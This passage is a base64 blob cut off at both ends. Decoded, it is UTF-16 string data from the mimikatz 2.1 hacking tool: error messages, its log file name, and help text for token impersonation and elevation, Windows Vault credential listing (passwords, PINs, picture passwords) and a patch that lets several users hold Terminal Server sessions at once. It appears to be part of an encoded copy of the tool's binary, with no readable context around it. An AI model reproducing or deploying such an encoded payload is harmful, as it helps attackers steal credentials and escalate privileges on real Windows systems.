GsAdQBwACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQAUwBpAGQARABvAG0AYQBpAG4ARgByAG8AbQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGwAbwBvAGsAdQBwACAAOwAgAC8AcwBpAGQAIABvAHIAIAAvAG4AYQBtAGUAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAKACUAcwAKAAAAAAAgACAAJQBzADoAIAAAAAAAcwBBAE0AQQBjAGMAbwB1AG4AdABOAGEAbQBlAAAAAAAlACoAUwAKAAAAAABvAGIAagBlAGMAdABTAGkAZAAAAG8AYgBqAGUAYwB0AEcAVQBJAEQAAAAAAAoAIAAgACAAWwAlAHUAXQAgAAAAcwBJAEQASABpAHMAdABvAHIAeQAAAAAAIAAoACAAJQBzACAALQAtACAAJQBzAFwAJQBzACAAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBxAHUAaQBjAGsAUwBlAGEAcgBjAGgAIAA7ACAATgBvACAAcgBlAHMAdQBsAHQAIQAgAC0AIABmAGkAbAB0AGUAcgAgAHcAYQBzACAAJwAlAHMAJwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAHEAdQBpAGMAawBTAGUAYQByAGMAaAAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAACgAcwBBAE0AQQBjAGMAbwB1AG4AdABOAGEAbQBlAD0AJQBzACkAAAAoAG8AYgBqAGUAYwB0AFMAaQBkAD0AAABcACUAMAAyAHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGYAaQBsAHQAZQByAEYAcgBvAG0AQQByAGcAcwAgADsAIABJAG4AdgBhAGwAaQBkACAAUwBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGYAaQBsAHQAZQByAEYAcgBvAG0AQQByAGcAcwAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBmAGkAbAB0AGUAcgBGAHIAbwBtAEEAcgBnAHMAIAA7ACAALwBzAGEAbQAgAG8AcgAgAC8AcwBpAGQAIAB0AG8AIAB0AGEAcgBnAGUAdAAgAHQAaABlACAAYQBjAGMAbwB1AG4AdAAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQATABkAGEAcABBAG4AZABSAG8AbwB0AEQATgAgADsAIABsAGQAYQBwAF8AYgBpAG4AZABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQATABkAGEAcABBAG4AZABSAG8AbwB0AEQATgAgADsAIABsAGQAYQBwAF8AaQBuAGkAdAAKAAAAAAByAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAAAAoAGQAbgA9AFIAbwBvAHQARABTAEUAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABSAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAIAA7ACAAbABkAGEAcABfAGcAZQB0AF8AdgBhAGwAdQBlAHMAXwBsAGUAbgAgAGkAcwAgAE4ATwBUACAAMQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGcAZQB0AFIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAgADsAIABsAGQAYQBwAF8AYwBvAHUAbgB0AF8AZQBuAHQAcgBpAGUAcwAgAGkAcwAgAE4ATwBUACAAMQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQAUgBvAG8AdABEAG8AbQBhAGkAbgBOAGEAbQBpAG4AZwBDAG8AbgB0AGUAeAB0ACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABtAGEAcgBrAHIAdQBzAHMAAAAAAE0AYQByAGsAIABhAGIAbwB1AHQAIABQAHQASAAAAAAAcwB0AGEAbgBkAGEAcgBkAAAAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAEIAYQBzAGkAYwAgAGMAbwBtAG0AYQBuAGQAcwAgACgAZABvAGUAcwAgAG4AbwB0ACAAcgBlAHEAdQBpAHIAZQAgAG0AbwBkAHUAbABlACAAbgBhAG0AZQApAAAAQgB5AGUAIQAKAAAANAAyAC4ACgAAAAAAAAAAAAoAIAAgACAAIAAoACAAKAAKACAAIAAgACAAIAApACAAKQAKACAAIAAuAF8AXwBfAF8AXwBfAC4ACgAgACAAfAAgACAAIAAgACAAIAB8AF0ACgAgACAAXAAgACAAIAAgACAAIAAvAAoAIAAgACAAYAAtAC0ALQAtACcACgAAAAAAUwBsAGUAZQBwACAAOgAgACUAdQAgAG0AcwAuAC4ALgAgAAAARQBuAGQAIAAhAAoAAAAAAG0AaQBtAGkAawBhAHQAegAuAGwAbwBnAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAZgBvAHIAIABsAG8AZwBmAGkAbABlACAAOgAgACUAcwAKAAAAAABmAGEAbABzAGUAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIAB3AGEAcwAgACAAIAAgADoAIAAlAHMACgAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAaQBzACAAbgBvAHcAIAA6ACAAJQBzAAoAAAAAADYANAAAAAAAOAA2AAAAAAAKAG0AaQBtAGkAawBhAHQAegAgADIALgAxACAAKABhAHIAYwBoACAAeAA4ADYAKQAKAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAlAHUALgAlAHUAIABiAHUAaQBsAGQAIAAlAHUAIAAoAGEAcgBjAGgAIAB4ACUAcwApAAoAbQBzAHYAYwAgACUAdQAgACUAdQAKAAAAQwB1AHIAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAGUAdwA6ACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAFMAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBvAHIAcgB5ACAAeQBvAHUAIABnAHUAeQBzACAAZABvAG4AJwB0ACAAZwBlAHQAIABpAHQALgAKAAAAZQB4AGkAdAAAAAAAUQB1AGkAdAAgAG0AaQBtAGkAawBhAHQAegAAAGMAbABzAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYQBuAHMAdwBlAHIAAAAAAEEAbgBzAHcAZQByACAAdABvACAAdABoAGUAIABVAGwAdABpAG0AYQB0AGUAIABRAHUAZQBzAHQAaQBvAG4AIABvAGYAIABMAGkAZgBlACwAIAB0AGgAZQAgAFUAbgBpAHYAZQByAHMAZQAsACAAYQBuAGQAIABFAHYAZQByAHkAdABoAGkAbgBnAAAAYwBvAGYAZgBlAGUAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAABzAGwAZQBlAHAAAAAAAAAAUwBsAGUAZQBwACAAYQBuACAAYQBtAG8AdQBuAHQAIABvAGYAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAAAEwAbwBnACAAbQBpAG0AaQBrAGEAdAB6ACAAaQBuAHAAdQB0AC8AbwB1AHQAcAB1AHQAIAB0AG8AIABmAGkAbABlAAAAYgBhAHMAZQA2ADQAAAAAAAAAAABTAHcAaQB0AGMAaAAgAGYAaQBsAGUAIABvAHUAdABwAHUAdAAvAGIAYQBzAGUANgA0ACAAbwB1AHQAcAB1AHQAAAAAAHYAZQByAHMAaQBvAG4AAAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAABjAGQAAAAAAAAAAABDAGgAYQBuAGcAZQAgAG8AcgAgAGQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAZABpAHIAZQBjAHQAbwByAHkAAABMAGkAcwB0ACAALgAuAC4AAAAAAGcAZQB0AAAARwBlAHQAIAAuAC4ALgAAAHMAZQB0AAAAUwBlAHQAIAAuAC4ALgAAAGQAZQBsAAAARABlAGwAIAAuAC4ALgAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQBsAHUAZQAgAG0AbwBkAHUAbABlAAAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAAACkACgBMAGUAbgBnAHQAaAAgACAAIAAgACAAOgAgACUAdQAKAEQAYQB0AGEAIAAgACAAIAAgACAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AbABpAHMAdAAgADsAIABOAHQARQBuAHUAbQBlAHIAYQB0AGUAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBzAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGwAaQBzAHQAIAA7ACAATgB0AEUAbgB1AG0AZQByAGEAdABlAFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUAcwBFAHgAKABzAGkAegBlACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkAC4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAHMAaQB6AGUAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAB7AGIAMQA2AGIAMAAwAGIANQAtAGMAYQBmAGUALQBiAGEAYgBlAC0AMABlAGUAMAAtAGQAYQBiAGEAZABhAGIAYQBkADAAMAAwAH0AAAAAADQAMQAwADAAMgAwADAAMAA0AGMAMAAwADYAMQAwADAAMgAwADAAMAA1ADYAMAAwADYAOQAwADAANgA1ADAAMAAyAGMAMAAwADIAMAAwADAANAAxADAAMAAyADAAMAAwADQAYwAwADAAMgA3ADAAMAA0ADEAMAAwADYAZAAwADAANgBmADAAMAA3ADUAMAAwADcAMgAwADAAMAAwADAAMAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABOAHQAUwBlAHQAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBFAHgAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZABlAGwAIAA7ACAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAE4AdABTAGUAdABTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAATgBPAE4AXwBWAE8ATABBAFQASQBMAEUAAAAAAEIATwBPAFQAUwBFAFIAVgBJAEMARQBfAEEAQwBDAEUAUwBTAAAAAABSAFUATgBUAEkATQBFAF8AQQBDAEMARQBTAFMAAAAAAEgAQQBSAEQAVwBBAFIARQBfAEUAUgBSAE8AUgBfAFIARQBDAE8AUgBEAAAAQQBVAFQASABFAE4AVABJAEMAQQBUAEUARABfAFcAUgBJAFQARQBfAEEAQwBDAEUAUwBTAAAAAAAAAAAAVABJAE0ARQBfAEIAQQBTAEUARABfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAEQAXwBXAFIASQBUAEUAXwBBAEMAQwBFAFMAUwAAAEEAUABQAEUATgBEAF8AVwBSAEkAVABFAAAAAABLAGkAdwBpAEUAZgBpAFYAYQByAGkAYQBiAGwAZQBzAAAAAABFAGYAaQBCAG8AbwB0AFYAYQByAGkAYQBiAGwAZQBzAAAAAABFAHgAcABTAGUAYwB1AHIAZQBCAG8AbwB0AFYAZQBuAGQAbwByAAAAJQBzACAALQAgAAAAdwBoAG8AYQBtAGkAAAAAAEQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAaQBkAGUAbgB0AGkAdAB5AAAAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAABlAGwAZQB2AGEAdABlAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAHIAZQB2AGUAcgB0AAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAB0AG8AawBlAG4AAABUAG8AawBlAG4AIABtAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAG0AbwBkAHUAbABlAAAAIAAqACAAUAByAG8AYwBlAHMAcwAgAFQAbwBrAGUAbgAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAVABoAHIAZQBhAGQAIABUAG8AawBlAG4AIAAgADoAIAAAAG4AbwAgAHQAbwBrAGUAbgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAGQAbwBtAGEAaQBuAGEAZABtAGkAbgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABOAG8AIAB1AHMAZQByAG4AYQBtAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaABlAG4AIABTAFkAUwBUAEUATQAKAAAAVABvAGsAZQBuACAASQBkACAAIAA6ACAAJQB1AAoAVQBzAGUAcgAgAG4AYQBtAGUAIAA6ACAAJQBzAAoAUwBJAEQAIABuAGEAbQBlACAAIAA6ACAAAAAAACUAcwBcACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQATgBhAG0AZQBEAG8AbQBhAGkAbgBGAHIAbwBtAFMASQBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AQwByAGUAYQB0AGUAVwBlAGwAbABLAG4AbwB3AG4AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwByAGUAdgBlAHIAdAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAQQBuAG8AbgB5AG0AbwB1AHMAAABJAGQAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AAABEAGUAbABlAGcAYQB0AGkAbwBuAAAAAAAlAC0AMQAwAHUACQAAAAAAJQBzAFwAJQBzAAkAJQBzAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABDAGgAZQBjAGsAVABvAGsAZQBuAE0AZQBtAGIAZQByAHMAaABpAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAJQB1AAkAAAAgAC0APgAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQBkACAAIQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAG0AdQBsAHQAaQByAGQAcAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHAAYQB0AGMAaAAgAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAcwBlAHIAdgBpAGMAZQAgAHQAbwAgAGEAbABsAG8AdwAgAG0AdQBsAHQAaQBwAGwAZQBzACAAdQBzAGUAcgBzAAAAdABzAAAAAABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAG0AbwBkAHUAbABlAAAAAAB0AGUAcgBtAHMAcgB2AC4AZABsAGwAAABUAGUAcgBtAFMAZQByAHYAaQBjAGUAAAAAAAAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAvAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABtAG8AZAB1AGwAZQAAAHYAYQB1AGwAdABjAGwAaQAAAAAAVmF1bHRFbnVtZXJhdGVJdGVtVHlwZXMAVmF1bHRFbnVtZXJhdGVWYXVsdHMAAAAAVmF1bHRPcGVuVmF1bHQAAFZhdWx0R2V0SW5mb3JtYXRpb24AVmF1bHRFbnVtZXJhdGVJdGVtcwBWYXVsdENsb3NlVmF1bHQAVmF1bHRGcmVlAAAAVmF1bHRHZXRJdGVtAAAAAEQAbwBtAGEAaQBuACAAUABhAHMAcwB3AG8AcgBkAAAARABvAG0AYQBpAG4AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAAAAAAEQAbwBtAGEAaQBuACAARQB4AHQAZQBuAGQAZQBkAAAAUABpAG4AIABMAG8AZwBvAG4AAABQAGkAYwB0AHUAcgBlACAAUABhAHMAcwB3AG8AcgBkAAAAAABCAGkAbwBtAGUAdAByAGkAYwAAAE4AZQB4AHQAIABHAGUAbgBlAHIAYQB0AGkAbwBuACAAQwByAGUAZABlAG4AdABpAGEAbAAAAAAACgBWAGEAdQBsAHQAIAA6ACAAAAAJAEkAdABlAG0AcwAgACgAJQB1ACkACgAAAAAACQAgACUAMgB1AC4ACQAlAHMACgAAAAAACQAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAIAA6ACAAAAAAAAkACQBGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4AAoAAAAJAAkAUgBlAHMAcwBvAHUAcgBjAGUAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBJAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAIAAgACAAOgAgAAAAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAJQAyAHUAIAAgACAAIAAgADoAIAAAAAkACQAqAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAKgAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA3ACAAOgAgACUAMAA4AHgAAAAAAAkACQBQAGEAYwBrAGEAZwBlAFMAaQBkACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA4ACAAOgAgACUAMAA4AHgAAAAAAAoACQAJACoAKgAqACAAJQBzACAAKgAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABFAG4AdQBtAGUAcgBhAHQAZQBWAGEAdQBsAHQAcwAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAJAAkAVQBzAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAcwBcACUAcwAAAAAAAABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AXABMAG8AZwBvAG4AVQBJAFwAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAAAAAAGIAZwBQAGEAdABoAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAyACAAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADEAIAA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBJAEQAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAAAJAAkAUABhAHMAcwB3AG8AcgBkACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBQAEkATgAgAEMAbwBkAGUAIAAgACAAIAAgACAAIAAgADoAIAAlADAANABoAHUACgAAAAAACQAJAEIAYQBjAGsAZwByAG8AdQBuAGQAIABwAGEAdABoACAAOgAgACUAcwAKAAAACQAJAFAAaQBjAHQAdQByAGUAIABwAGEAcwBzAHcAbwByAGQAIAAoAGcAcgBpAGQAIABpAHMAIAAxADUAMAAqADEAMAAwACkACgAAAAkACQAgAFsAJQB1AF0AIAAAAAAAcABvAGkAbgB0ACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAAABjAGwAbwBjAGsAdwBpAHMAZQAAAGEAbgB0AGkAYwBsAG8AYwBrAHcAaQBzAGUAAABjAGkAcgBjAGwAZQAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACAAOwAgAHIAIAA9ACAAJQAzAHUAKQAgAC0AIAAlAHMAAAAAAAAAbABpAG4AZQAgACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApACAALQA+ACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAACUAdQAKAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAC4AKgBzAFwAAAB0AG8AZABvACAAPwAKAAAACQBOAGEAbQBlACAAIAAgACAAIAAgACAAOg